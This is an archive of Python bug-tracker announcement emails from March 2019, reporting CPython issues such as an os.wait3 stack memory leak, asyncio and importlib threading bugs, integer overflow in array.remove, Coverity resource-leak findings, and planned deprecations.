Notice struct rusage return value. When wait3() succeeds on Linux, but no child was waiting to be reaped, &ru is not updated by the kernel, therefore it is passed uninitialized back to the user, essentially leaking a little bit of stack memory

----------
messages: 337833
nosy: dw
priority: normal
severity: normal
status: open
title: os.wait3() leaks some uninitialized stack when no processes exist

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36279>
_______________________________________

From report at bugs.python.org  Wed Mar 13 00:00:08 2019
From: report at bugs.python.org (Guido van Rossum)
Date: Wed, 13 Mar 2019 04:00:08 +0000
Subject: [New-bugs-announce] [issue36280] Add kind field to ast.Constant,
 to distinguish u"..." from "..." for type checkers
Message-ID: <1552449608.75.0.0828502310498.issue36280@roundup.psfhosted.org>


Change by Guido van Rossum <guido at python.org>:


----------
assignee: gvanrossum
nosy: gvanrossum
priority: normal
severity: normal
status: open
title: Add kind field to ast.Constant, to distinguish u"..." from "..." for type checkers
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36280>
_______________________________________

From report at bugs.python.org  Wed Mar 13 13:36:22 2019
From: report at bugs.python.org (Bas Nijholt)
Date: Wed, 13 Mar 2019 17:36:22 +0000
Subject: [New-bugs-announce] [issue36281] OSError: handle is closed for
 ProcessPoolExecutor and run_in_executor
Message-ID: <1552498582.24.0.716871849164.issue36281@roundup.psfhosted.org>


New submission from Bas Nijholt <basnijholt at gmail.com>:

The following code in Python 3.7.1
```
import random
import concurrent.futures
import asyncio

executor = concurrent.futures.ProcessPoolExecutor()
ioloop = asyncio.get_event_loop()

async def func():
    result = await ioloop.run_in_executor(executor, random.random)
    executor.shutdown(wait=False)  # bug doesn't occur when `wait=True`

task = ioloop.create_task(func())
```


prints the following error:
```
Exception in thread QueueManagerThread:
Traceback (most recent call last):
  File "/opt/conda/lib/python3.7/threading.py", line 917, in _bootstrap_inner
    self.run()
  File "/opt/conda/lib/python3.7/threading.py", line 865, in run
    self._target(*self._args, **self._kwargs)
  File "/opt/conda/lib/python3.7/concurrent/futures/process.py", line 368, in _queue_management_worker
    thread_wakeup.clear()
  File "/opt/conda/lib/python3.7/concurrent/futures/process.py", line 92, in clear
    while self._reader.poll():
  File "/opt/conda/lib/python3.7/multiprocessing/connection.py", line 255, in poll
    self._check_closed()
  File "/opt/conda/lib/python3.7/multiprocessing/connection.py", line 136, in _check_closed
    raise OSError("handle is closed")
OSError: handle is closed
```

I think this is related to https://bugs.python.org/issue34073 and https://bugs.python.org/issue34075

This happens in the Adaptive package https://adaptive.readthedocs.io/en/latest/docs.html#examples and the related issue is https://github.com/python-adaptive/adaptive/issues/156

----------
components: asyncio
messages: 337868
nosy: asvetlov, basnijholt, yselivanov
priority: normal
severity: normal
status: open
title: OSError: handle is closed for ProcessPoolExecutor and run_in_executor
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36281>
_______________________________________

From report at bugs.python.org  Wed Mar 13 16:44:52 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 13 Mar 2019 20:44:52 +0000
Subject: [New-bugs-announce] [issue36282] Not accurate error message for
 exact number of positional arguments
Message-ID: <1552509892.53.0.404929677362.issue36282@roundup.psfhosted.org>


New submission from Serhiy Storchaka <storchaka+cpython at gmail.com>:

Due to minor error, the error message for too many positional arguments is not accurate if the function uses Argument Clinic.

For example:

>>> int.from_bytes(b'a', 'little', False)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: from_bytes() takes at most 2 positional arguments (3 given)

This is correct, but not accurate, because from_bytes() takes *exactly* 2 positional arguments.

----------
components: Interpreter Core
messages: 337874
nosy: serhiy.storchaka
priority: normal
severity: normal
status: open
title: Not accurate error message for exact number of positional arguments
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36282>
_______________________________________

From report at bugs.python.org  Wed Mar 13 19:31:43 2019
From: report at bugs.python.org (Dan Snider)
Date: Wed, 13 Mar 2019 23:31:43 +0000
Subject: [New-bugs-announce] [issue36283] eval is needlessly limited
Message-ID: <1552519903.9.0.270264105873.issue36283@roundup.psfhosted.org>


New submission from Dan Snider <mr.assume.away at gmail.com>:

The footnote about why eval/exec cannot be used for arbitrary code has been (for the most part) incorrect for quite some time as the signature for PyEval_EvalCodeEx demonstrates:

PyObject* PyEval_EvalCodeEx(PyObject *co, PyObject *globals, PyObject *locals, PyObject *const *args, int argcount, PyObject *const *kws, int kwcount, PyObject *const *defs, int defcount, PyObject *kwdefs, PyObject *closure)

Making eval a wrapper for PyEval_EvalCodeEx instead of PyEval_EvalCode would be a backwards compatible change since new parameters come after the current 3. A hypothetical signature for the new signature would be something like:
    eval(src, globals: abc.Mapping, locals: abc.Mapping, args: tuple, kwargs: dict, defaults: tuple, kwdefaults: dict, closure: tuple). 

In that case, `src` could be unicode, bytes, frames, tracebacks, code objects, and even updated to support stuff like parser.STType or ast.Module/ast.Interactive/ast.Expresion objects. 

The only objection I can think of is the same as the reason it's currently documented that globals must be a dictionary and that is that the LOAD_NAME opcode (seemingly) arbitrarily requires frame.f_globals be a dict subtype (even though LOAD_GLOBAL doesn't).

On that point, I still don't understand why PyObject_GetItem doesn't have a PyDict_CheckExact test for a dictionary fast-path when tp_as_mapping is found non-null. That operation - a pointer comparison - takes a fraction of a nanosecond on a modern CPU making it essentially free compared to the rest of the logic in there... Furthermore, this addition would greatly simplify both core and abstract apis and enable the possibility of fixing several longstanding bugs caused by using PyDict_GetItem/PyDict_SetItem on a dict subtype. Actually, the better solution may be to add PyDict_Check in PyObject_Getitem and PyDict_CheckExact in PyDict_GetItem.

After writing all that out this seems more like an issue with  PyObject_GetItem and how there is zero consistency throughout the entirety the abstract/core api as to whether some arbitrary procedure will try to use the core dictionary api as a fast path or head straight for the abstract api.

----------
components: Interpreter Core
messages: 337885
nosy: bup
priority: normal
severity: normal
status: open
title: eval is needlessly limited
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36283>
_______________________________________

From report at bugs.python.org  Wed Mar 13 19:47:08 2019
From: report at bugs.python.org (Riccardo Coccioli)
Date: Wed, 13 Mar 2019 23:47:08 +0000
Subject: [New-bugs-announce] [issue36284] importlib.import_module() not
 thread safe if Exception is raised (3.4, 3.5)
Message-ID: <1552520828.65.0.116670090756.issue36284@roundup.psfhosted.org>


New submission from Riccardo Coccioli <rcoccioli at gmail.com>:

It seems that importlib.import_module() is not thread-safe if the loaded module raises an Exception on Python 3.4 and 3.5. I didn't find any thread-unsafe related information in Python's documentation.
The frequency of the failure appears to be random.

This is the setup to reproduce the issue:

#----- FILES STRUCTURE
??? fail.py
??? test.py
#-----

#----- CONTENT OF fail.py
ACCESSIBLE = 'accessible'

import nonexistent  # raise RuntimeError('failed') is basically the same

NOT_ACCESSIBLE = 'not accessible'
#-----

#----- CONTENT OF test.py
import importlib
import concurrent.futures


def f():
    try:
        mod = importlib.import_module('fail')
        # importlib.reload(mod)  # WORKAROUND

        try:
            val = mod.NOT_ACCESSIBLE
        except AttributeError as e:
            val = str(e)

        return (mod.__name__, type(mod), mod.ACCESSIBLE, val)
    except ImportError as e:
        return str(e)


with concurrent.futures.ThreadPoolExecutor(max_workers=3) as executor:
    futures = [executor.submit(f) for i in range(5)]
    for future in concurrent.futures.as_completed(futures):
        print(future.result())
#-----

Expected result:
#-----
No module named 'nonexistent'
No module named 'nonexistent'
No module named 'nonexistent'
No module named 'nonexistent'
No module named 'nonexistent'
#-----

Actual result:
#-----
No module named 'nonexistent'
No module named 'nonexistent'
No module named 'nonexistent'
('fail', <class 'module'>, 'accessible', "'module' object has no attribute 'NOT_ACCESSIBLE'")
('fail', <class 'module'>, 'accessible', "'module' object has no attribute 'NOT_ACCESSIBLE'")
#-----

In the unexpected output lines, the module has been "partially" imported. The 'mod' object contains a module object, and trying to access an attribute defined before the import that raises Exception works fine, but trying to access an attribute defined after the failing import, fails.
It seems like the Exception was not properly raised at module load time, but at the same time the module is only partially loaded up to the failing import.

The actual number of half-imported modules varies between runs and picking different values for max_workers and range() and can also be zero (normal behaviour). Also the frequency of the issue varies.
Using multiprocessing.pool.ThreadPool() and apply_async() instead of concurrent.futures.ThreadPoolExecutor has the same effect.

I was able to reproduce the issue with the following Python versions and platforms:
- 3.4.2 and 3.5.3 on Linux Debian
- 3.4.9 and 3.5.6 on macOS High Sierra 10.13.6

While the issue doesn't show up at the best of my knowledge on:
- 3.6.7 and 3.7.2 on macOS High Sierra 10.13.6

Thanks to a colleague suggestion I also found a hacky workaround. Uncommenting the line in test.py marked as 'WORKAROUND' a reload of the module is forced. With that modification the actual result is:
#-----
No module named 'nonexistent'
No module named 'nonexistent'
No module named 'nonexistent'
module fail not in sys.modules
module fail not in sys.modules
#-----

While this doesn't solve the issue per se, it actually raises the same ImportError that the module was supposed to raise in the first place, just with a different message, allowing the code to continue it's normal execution.

----------
components: Library (Lib)
messages: 337887
nosy: Riccardo Coccioli
priority: normal
severity: normal
status: open
title: importlib.import_module() not thread safe if Exception is raised (3.4, 3.5)
type: behavior
versions: Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36284>
_______________________________________

From report at bugs.python.org  Wed Mar 13 20:02:42 2019
From: report at bugs.python.org (Stephan Hohe)
Date: Thu, 14 Mar 2019 00:02:42 +0000
Subject: [New-bugs-announce] [issue36285] Integer overflow in
 array.array.remove()
Message-ID: <1552521762.27.0.553620503066.issue36285@roundup.psfhosted.org>


New submission from Stephan Hohe <sth.dev at tejp.de>:

The array module's `array.remove(x)` iterates over the array, searching for `x`. If the array contains >=2G elements this can overflow the `int` loop variable.

`array__array_reconstructor_impl()` also contains loops with `int` variables that likely have the similar problems.

Changing the loop variables to `Py_ssize_t` fixes the problem. For details see the PR.

----------
components: Extension Modules
messages: 337889
nosy: sth
priority: normal
severity: normal
status: open
title: Integer overflow in array.array.remove()
type: crash
versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36285>
_______________________________________

From report at bugs.python.org  Thu Mar 14 02:34:05 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 14 Mar 2019 06:34:05 +0000
Subject: [New-bugs-announce] [issue36286] Random failure in test_idle
Message-ID: <1552545245.76.0.0631461322093.issue36286@roundup.psfhosted.org>


New submission from Serhiy Storchaka <storchaka+cpython at gmail.com>:

I have got a failure in test_idle:

0:00:21 load avg: 3.40 [ 76/420/1] test_idle failed
test test_idle failed -- Traceback (most recent call last):
  File "/home/serhiy/py/cpython-clinic/Lib/idlelib/idle_test/test_configdialog.py", line 104, in test_fontlist_key
    self.assertNotEqual(down_font, font)
AssertionError: 'Abyssinica SIL' == 'Abyssinica SIL'

It has not reproduced when run test_idle separately.

----------
assignee: terry.reedy
components: IDLE, Tests
messages: 337897
nosy: serhiy.storchaka, terry.reedy
priority: normal
severity: normal
status: open
title: Random failure in test_idle
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36286>
_______________________________________

From report at bugs.python.org  Thu Mar 14 05:48:05 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 14 Mar 2019 09:48:05 +0000
Subject: [New-bugs-announce] [issue36287] Make ast.dump() not output
 optional default fields
Message-ID: <1552556885.52.0.772295389158.issue36287@roundup.psfhosted.org>


New submission from Serhiy Storchaka <storchaka+cpython at gmail.com>:

Currently ast.dump() outputs values for optional fields even if they are equal to defaults. This makes the output unnecessary verbose.

For example (kind and type_comment are optional):

>>> ast.dump(ast.parse('x = 1'))
"Module(body=[Assign(targets=[Name(id='x', ctx=Store())], value=Constant(value=1, kind=None), type_comment=None)], type_ignores=[])"

----------
components: Library (Lib)
messages: 337907
nosy: benjamin.peterson, brett.cannon, serhiy.storchaka, yselivanov
priority: normal
severity: normal
status: open
title: Make ast.dump() not output optional default fields
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36287>
_______________________________________

From report at bugs.python.org  Thu Mar 14 10:36:08 2019
From: report at bugs.python.org (MeeranRizvi)
Date: Thu, 14 Mar 2019 14:36:08 +0000
Subject: [New-bugs-announce] [issue36288] Incorrect answer when using round()
Message-ID: <1552574168.05.0.903038491036.issue36288@roundup.psfhosted.org>


New submission from MeeranRizvi <hmmeeranrizvi18 at gmail.com>:

When using round() for calculation it gives the incorrect answer.

For Example:
round(1.5)
>>2(Which is correct)

But when we calculate:
round(2.5)
>>2(Should give 3 right?)

----------
components: Build
messages: 337921
nosy: MeeranRizvi
priority: normal
severity: normal
status: open
title: Incorrect answer when using round()
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36288>
_______________________________________

From report at bugs.python.org  Thu Mar 14 10:39:35 2019
From: report at bugs.python.org (Charalampos Stratakis)
Date: Thu, 14 Mar 2019 14:39:35 +0000
Subject: [New-bugs-announce] [issue36289] [2.7] Coverity scan:
 Modules/_io/bufferedio.c leaked_storage: Variable "data" going out of scope
 leaks the storage it points to.
Message-ID: <1552574375.17.0.27732361131.issue36289@roundup.psfhosted.org>


New submission from Charalampos Stratakis <cstratak at redhat.com>:

Coverity scan reports this for bufferedio.c :

Error: RESOURCE_LEAK (CWE-772): [#def23]
Python-2.7.15/Modules/_io/bufferedio.c:1353: alloc_fn: Storage is returned from allocation function "PyString_FromStringAndSize".
Python-2.7.15/Objects/stringobject.c:88:5: alloc_fn: Storage is returned from allocation function "PyObject_Malloc".
Python-2.7.15/Objects/obmalloc.c:982:5: alloc_fn: Storage is returned from allocation function "malloc".
Python-2.7.15/Objects/obmalloc.c:982:5: return_alloc_fn: Directly returning storage allocated by "malloc".
Python-2.7.15/Objects/stringobject.c:88:5: var_assign: Assigning: "op" = "PyObject_Malloc(37UL + size)".
Python-2.7.15/Objects/stringobject.c:111:5: return_alloc: Returning allocated memory "op".
Python-2.7.15/Modules/_io/bufferedio.c:1353: var_assign: Assigning: "data" = storage returned from "PyString_FromStringAndSize(self->buffer + self->pos, current_size)".
Python-2.7.15/Modules/_io/bufferedio.c:1366: leaked_storage: Variable "data" going out of scope leaks the storage it points to.
 1364|           if (res == NULL) {
 1365|               Py_DECREF(chunks);
 1366|->             return NULL;
 1367|           }
 1368|           Py_CLEAR(res);

----------
components: Extension Modules
messages: 337923
nosy: cstratak
priority: normal
severity: normal
status: open
title: [2.7] Coverity scan: Modules/_io/bufferedio.c leaked_storage: Variable "data" going out of scope leaks the storage it points to.
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36289>
_______________________________________

From report at bugs.python.org  Thu Mar 14 10:47:19 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Thu, 14 Mar 2019 14:47:19 +0000
Subject: [New-bugs-announce] [issue36290] _ast.ast_type_init does not handle
 args and kwargs correctly.
Message-ID: <1552574839.1.0.4927355759.issue36290@roundup.psfhosted.org>


New submission from R?mi Lapeyre <remi.lapeyre at henki.fr>:

While looking at issue 36287 I noticed that the argument parsing logic in _ast.ast_type_init is wrong, for example ast.Constant takes only one argument:

? ./python.exe 
Python 3.8.0a2+ (remotes/origin/HEAD-1-ged9b774cf3:ed9b774cf3, Mar 14 2019, 00:50:47) 
[Clang 10.0.0 (clang-1000.10.44.4)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import ast
>>> ast.Constant(1, 2)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: Constant constructor takes at most 1 positional argument
>>> ast.Constant(1)
<_ast.Constant object at 0x105b52950>
>>> ast.Constant(value=2)
<_ast.Constant object at 0x105b528f0>
>>> ast.Constant(1, value=2)
<_ast.Constant object at 0x105b529b0>
>>> ast.Constant(1, value=2).value
2


The last lines should have raised TypeError. I could reproduce the issue with Python 2.7, 3.7 and 3.8 but I'm not sure it's worth fixing for 2.7.

I will write a patch to fix the issue.

----------
components: Library (Lib)
messages: 337926
nosy: remi.lapeyre
priority: normal
severity: normal
status: open
title: _ast.ast_type_init does not handle args and kwargs correctly.
type: behavior
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36290>
_______________________________________

From report at bugs.python.org  Thu Mar 14 10:50:44 2019
From: report at bugs.python.org (Charalampos Stratakis)
Date: Thu, 14 Mar 2019 14:50:44 +0000
Subject: [New-bugs-announce] [issue36291] [2.7] Coverity Scan:
 Modules/_json.c: leaked_storage: Variable "numstr" going out of scope leaks
 the storage it points to.
Message-ID: <1552575044.21.0.83724998677.issue36291@roundup.psfhosted.org>


New submission from Charalampos Stratakis <cstratak at redhat.com>:

Coverity reports a leak within the json module:

Error: RESOURCE_LEAK (CWE-772): [#def26]
Python-2.7.15/Modules/_json.c:1367: alloc_fn: Storage is returned from allocation function "PyString_FromStringAndSize".
Python-2.7.15/Objects/stringobject.c:88:5: alloc_fn: Storage is returned from allocation function "PyObject_Malloc".
Python-2.7.15/Objects/obmalloc.c:982:5: alloc_fn: Storage is returned from allocation function "malloc".
Python-2.7.15/Objects/obmalloc.c:982:5: return_alloc_fn: Directly returning storage allocated by "malloc".
Python-2.7.15/Objects/stringobject.c:88:5: var_assign: Assigning: "op" = "PyObject_Malloc(37UL + size)".
Python-2.7.15/Objects/stringobject.c:111:5: return_alloc: Returning allocated memory "op".
Python-2.7.15/Modules/_json.c:1367: var_assign: Assigning: "numstr" = storage returned from "PyString_FromStringAndSize(&str[start], idx - start)".
Python-2.7.15/Modules/_json.c:1379: leaked_storage: Variable "numstr" going out of scope leaks the storage it points to.
 1377|                                                NULL, NULL);
 1378|               if (d == -1.0 && PyErr_Occurred())
 1379|->                 return NULL;
 1380|               rval = PyFloat_FromDouble(d);
 1381|           }

----------
components: Extension Modules
messages: 337927
nosy: cstratak
priority: normal
severity: normal
status: open
title: [2.7] Coverity Scan: Modules/_json.c: leaked_storage: Variable "numstr" going out of scope leaks the storage it points to.
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36291>
_______________________________________

From report at bugs.python.org  Thu Mar 14 11:16:32 2019
From: report at bugs.python.org (Charalampos Stratakis)
Date: Thu, 14 Mar 2019 15:16:32 +0000
Subject: [New-bugs-announce] [issue36292] Coverity scan: Resource leaks in
 longobject.c
Message-ID: <1552576592.77.0.356319566545.issue36292@roundup.psfhosted.org>


New submission from Charalampos Stratakis <cstratak at redhat.com>:

The coverity scan was run on python2, however the same defect seems to exist in python3 as well.

Error: RESOURCE_LEAK (CWE-772): [#def69]
Python-2.7.15/Objects/longobject.c:3793: alloc_fn: Storage is returned from allocation function "_PyLong_New".
Python-2.7.15/Objects/longobject.c:76:5: alloc_fn: Storage is returned from allocation function "PyObject_Malloc".
Python-2.7.15/Objects/obmalloc.c:982:5: alloc_fn: Storage is returned from allocation function "malloc".
Python-2.7.15/Objects/obmalloc.c:982:5: return_alloc_fn: Directly returning storage allocated by "malloc".
Python-2.7.15/Objects/longobject.c:76:5: identity_transfer: Passing "(PyVarObject *)PyObject_Malloc((size_t)(PyLong_Type.tp_basicsize + size * PyLong_Type.tp_itemsize + 7L & 0xfffffffffffffff8L))" as argument 1 to function "PyObject_InitVar", which returns that argument.
Python-2.7.15/Objects/object.c:237:5: return_parm: Returning parameter "op".
Python-2.7.15/Objects/longobject.c:76:5: return_alloc_fn: Directly returning storage allocated by "PyObject_InitVar".
Python-2.7.15/Objects/longobject.c:3793: var_assign: Assigning: "z" = storage returned from "_PyLong_New(size_a)".
Python-2.7.15/Objects/longobject.c:3797: var_assign: Assigning: "a" = "z".
Python-2.7.15/Objects/longobject.c:3847: leaked_storage: Variable "z" going out of scope leaks the storage it points to.
Python-2.7.15/Objects/longobject.c:3847: leaked_storage: Returning without freeing "a" leaks the storage that it points to.
 3845|       default:
 3846|           PyErr_BadArgument();
 3847|->         return NULL;
 3848|       }
 3849|   

Error: RESOURCE_LEAK (CWE-772): [#def70]
Python-2.7.15/Objects/longobject.c:3793: alloc_fn: Storage is returned from allocation function "_PyLong_New".
Python-2.7.15/Objects/longobject.c:76:5: alloc_fn: Storage is returned from allocation function "PyObject_Malloc".
Python-2.7.15/Objects/obmalloc.c:982:5: alloc_fn: Storage is returned from allocation function "malloc".
Python-2.7.15/Objects/obmalloc.c:982:5: return_alloc_fn: Directly returning storage allocated by "malloc".
Python-2.7.15/Objects/longobject.c:76:5: identity_transfer: Passing "(PyVarObject *)PyObject_Malloc((size_t)(PyLong_Type.tp_basicsize + size * PyLong_Type.tp_itemsize + 7L & 0xfffffffffffffff8L))" as argument 1 to function "PyObject_InitVar", which returns that argument.
Python-2.7.15/Objects/object.c:237:5: return_parm: Returning parameter "op".
Python-2.7.15/Objects/longobject.c:76:5: return_alloc_fn: Directly returning storage allocated by "PyObject_InitVar".
Python-2.7.15/Objects/longobject.c:3793: var_assign: Assigning: "z" = storage returned from "_PyLong_New(size_a)".
Python-2.7.15/Objects/longobject.c:3797: var_assign: Assigning: "a" = "z".
Python-2.7.15/Objects/longobject.c:3820: var_assign: Assigning: "z" = "a".
Python-2.7.15/Objects/longobject.c:3820: var_assign: Assigning: "b" = "z".
Python-2.7.15/Objects/longobject.c:3847: leaked_storage: Variable "z" going out of scope leaks the storage it points to.
Python-2.7.15/Objects/longobject.c:3847: leaked_storage: Returning without freeing "b" leaks the storage that it points to.
 3845|       default:
 3846|           PyErr_BadArgument();
 3847|->         return NULL;
 3848|       }
 3849|

----------
components: Interpreter Core
messages: 337933
nosy: cstratak
priority: normal
severity: normal
status: open
title: Coverity scan: Resource leaks in longobject.c
versions: Python 2.7, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36292>
_______________________________________

From report at bugs.python.org  Thu Mar 14 11:50:35 2019
From: report at bugs.python.org (Cyker Way)
Date: Thu, 14 Mar 2019 15:50:35 +0000
Subject: [New-bugs-announce] [issue36293] Nonblocking read sys.stdin raises
 error
Message-ID: <1552578635.55.0.427957631553.issue36293@roundup.psfhosted.org>


New submission from Cyker Way <cykerway at gmail.com>:

This piece of code will raise an error:

    import os
    import sys

    os.set_blocking(sys.stdin.fileno(), False)
    sys.stdin.read()

Error:

>   TypeError: can't concat NoneType to bytes

Not sure if this is relevant (for a different version of Python): https://bugs.python.org/issue24560

----------
components: Library (Lib), Unicode
messages: 337940
nosy: cykerway, ezio.melotti, vstinner
priority: normal
severity: normal
status: open
title: Nonblocking read sys.stdin raises error
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36293>
_______________________________________

From report at bugs.python.org  Thu Mar 14 12:03:21 2019
From: report at bugs.python.org (Cyker Way)
Date: Thu, 14 Mar 2019 16:03:21 +0000
Subject: [New-bugs-announce] [issue36294] `io.BufferedIOBase` returns `None`
Message-ID: <1552579401.5.0.833701735318.issue36294@roundup.psfhosted.org>


New submission from Cyker Way <cykerway at gmail.com>:

Document of [BufferedIOBase](https://docs.python.org/3/library/io.html#io.BufferedIOBase) says:

>   ...unlike their RawIOBase counterparts, they will never return None.

But this example shows the above statement is not true:

    import io
    import os
    import sys

    os.set_blocking(sys.stdin.fileno(), False)
    print(isinstance(sys.stdin.buffer, io.BufferedIOBase))
    print(sys.stdin.buffer.read())

Output:

    True
    None

----------
components: IO, Library (Lib)
messages: 337941
nosy: cykerway
priority: normal
severity: normal
status: open
title: `io.BufferedIOBase` returns `None`
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36294>
_______________________________________

From report at bugs.python.org  Thu Mar 14 12:59:52 2019
From: report at bugs.python.org (Assaf Dayan)
Date: Thu, 14 Mar 2019 16:59:52 +0000
Subject: [New-bugs-announce] [issue36295] Need to yield (sleep(0)) twice in
 asyncio
Message-ID: <1552582792.25.0.588312796028.issue36295@roundup.psfhosted.org>


New submission from Assaf Dayan <asfdyn at gmail.com>:

In asyncio, 'await asyncio.sleep(0)' is used to relinquish control and check for finished awaitables before continuing. 
In my example, an awaitable returns but is only handled if 'await asyncio.sleep(0)' is called twice (adjacently) and only then the returned 'await' statements are handled correctly.

The attached script generates tasks which do the following: compute for 0.8 seconds; do an async op for 0.5 seconds; and compute some more for 0.2 seconds.
Before generating each new task, we relinquish control so that existing pending tasks will resume operation, if their 'await' statements returned.
We simulate a business-case in which we give precedence to already-processing tasks over new ones.

When running the attached script, Task 1 goes async at d=0.8 and should be ready by d=1.3 (asyncio.sleep(0.5)). Because Task 2 started at d=0.8 (when T1 went async) it will relinquish control at d=1.6. By relinquishing control at d=1.6, Task 1 should resume, but it doesn't, unless asyncio.sleep(0) is called once more.
If asyncio.sleep(0) is not called again (as a fix), Task 1 will only resume at d=2.4, which is after Task 3 relinquished control.

----------
files: async_yield.py
messages: 337950
nosy: Assaf Dayan
priority: normal
severity: normal
status: open
title: Need to yield (sleep(0)) twice in asyncio
type: behavior
versions: Python 3.7
Added file: https://bugs.python.org/file48207/async_yield.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36295>
_______________________________________

From report at bugs.python.org  Thu Mar 14 19:15:29 2019
From: report at bugs.python.org (Harry Seeber)
Date: Thu, 14 Mar 2019 23:15:29 +0000
Subject: [New-bugs-announce] [issue36296] distutils.version.StrictVersion
 objects cannot be compared with distutils.version.LooseVersionobjects
Message-ID: <1552605329.57.0.55093575927.issue36296@roundup.psfhosted.org>


New submission from Harry Seeber <harry.seeber at gusto.com>:

The self.version used in Version._cmp is a List in LooseVersion's implementation, a Tuple in StrictVersion's implementation. Attempting to compare Strict & Loose versions results in a TypeError.

I'd like to PR a fix, but I'd like to know if I'm being stupid first :)

----------
components: Distutils
messages: 337957
nosy: Harry Seeber, dstufft, eric.araujo
priority: normal
severity: normal
status: open
title: distutils.version.StrictVersion objects cannot be compared with distutils.version.LooseVersionobjects
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36296>
_______________________________________

From report at bugs.python.org  Fri Mar 15 01:32:43 2019
From: report at bugs.python.org (Inada Naoki)
Date: Fri, 15 Mar 2019 05:32:43 +0000
Subject: [New-bugs-announce] [issue36297] Remove unicode_internal codec
Message-ID: <1552627963.14.0.69589784608.issue36297@roundup.psfhosted.org>


New submission from Inada Naoki <songofacandy at gmail.com>:

unicode_internal codec is deprecated since Python 3.3.
It raises DeprecationWarning from 3.3.

>>> "hello".encode('unicode_internal')
__main__:1: DeprecationWarning: unicode_internal codec has been deprecated
b'h\x00\x00\x00e\x00\x00\x00l\x00\x00\x00l\x00\x00\x00o\x00\x00\x00'

May I remove it in 3.8?

----------
components: Unicode
messages: 337965
nosy: ezio.melotti, inada.naoki, vstinner
priority: normal
severity: normal
status: open
title: Remove unicode_internal codec
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36297>
_______________________________________

From report at bugs.python.org  Fri Mar 15 01:43:26 2019
From: report at bugs.python.org (mental)
Date: Fri, 15 Mar 2019 05:43:26 +0000
Subject: [New-bugs-announce] [issue36298] Lib/pyclbr.py crashes when the
 package spec cannot be determined by importlib
Message-ID: <1552628606.85.0.83377686134.issue36298@roundup.psfhosted.org>


New submission from mental <m3nta1 at yahoo.com>:

Hi folks! (apologies in advance if any of the code blocks come out irregular, this is my first issue)


I was just exploring the `Lib` modules out of curiosity and I discovered `pyclbr` a peculiar artifact from the older days of the Python standard library.

I noticed the module could be run directly and after attempting to run it withan invalid source target `python -m pyclbr somenonexistentfile` it raised ```
Traceback (most recent call last):
  File "/usr/lib/python3.7/runpy.py", line 193, in _run_module_as_main
    "__main__", mod_spec)
  File "/usr/lib/python3.7/runpy.py", line 85, in _run_code
    exec(code, run_globals)
  File "/usr/lib/python3.7/pyclbr.py", line 405, in <module>
    _main()
  File "/usr/lib/python3.7/pyclbr.py", line 380, in _main
    tree = readmodule_ex(mod, path)
  File "/usr/lib/python3.7/pyclbr.py", line 116, in readmodule_ex
    return _readmodule(module, path or [])
  File "/usr/lib/python3.7/pyclbr.py", line 169, in _readmodule
    if spec.submodule_search_locations is not None:
AttributeError: 'NoneType' object has no attribute 'submodule_search_locations'```

I was running 3.7.2, although I assume this affects future versions and possibly some older versions. (I suspect the bug originates from importlib silently breaking backwards compatability)

I thought it strange for a script to exit so loudly so after reading through the source I believe the intended behavior meant for an invalid target is to raise an `ImportError` although I admit I'm not convinced this is still the best way to exit from erroneous input (or even if the module is still relevant in todays code?)

I believe this is a bug (but I would very much appreciate a second opinion) and I've identified it as a low priority easy fix, In which case I'd be more than happy to submit a fix :)

----------
messages: 337966
nosy: mental
priority: normal
severity: normal
status: open
title: Lib/pyclbr.py crashes when the package spec cannot be determined by importlib
type: crash
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36298>
_______________________________________

From report at bugs.python.org  Fri Mar 15 01:50:02 2019
From: report at bugs.python.org (Inada Naoki)
Date: Fri, 15 Mar 2019 05:50:02 +0000
Subject: [New-bugs-announce] [issue36299] Deprecate 'u' type in array module
Message-ID: <1552629002.67.0.658973531537.issue36299@roundup.psfhosted.org>


New submission from Inada Naoki <songofacandy at gmail.com>:

The doc says:

> 'u' will be removed together with the rest of the Py_UNICODE API.
> Deprecated since version 3.3, will be removed in version 4.0.
> https://docs.python.org/3/library/array.html

But DeprecationWarning is not raised yet.  Let's raise it.

* 3.8 -- PendingDeprecationWarning
* 3.9 -- DeprecationWarning
* 4.0 or 3.10 -- Remove it.

----------
components: Library (Lib)
messages: 337967
nosy: inada.naoki
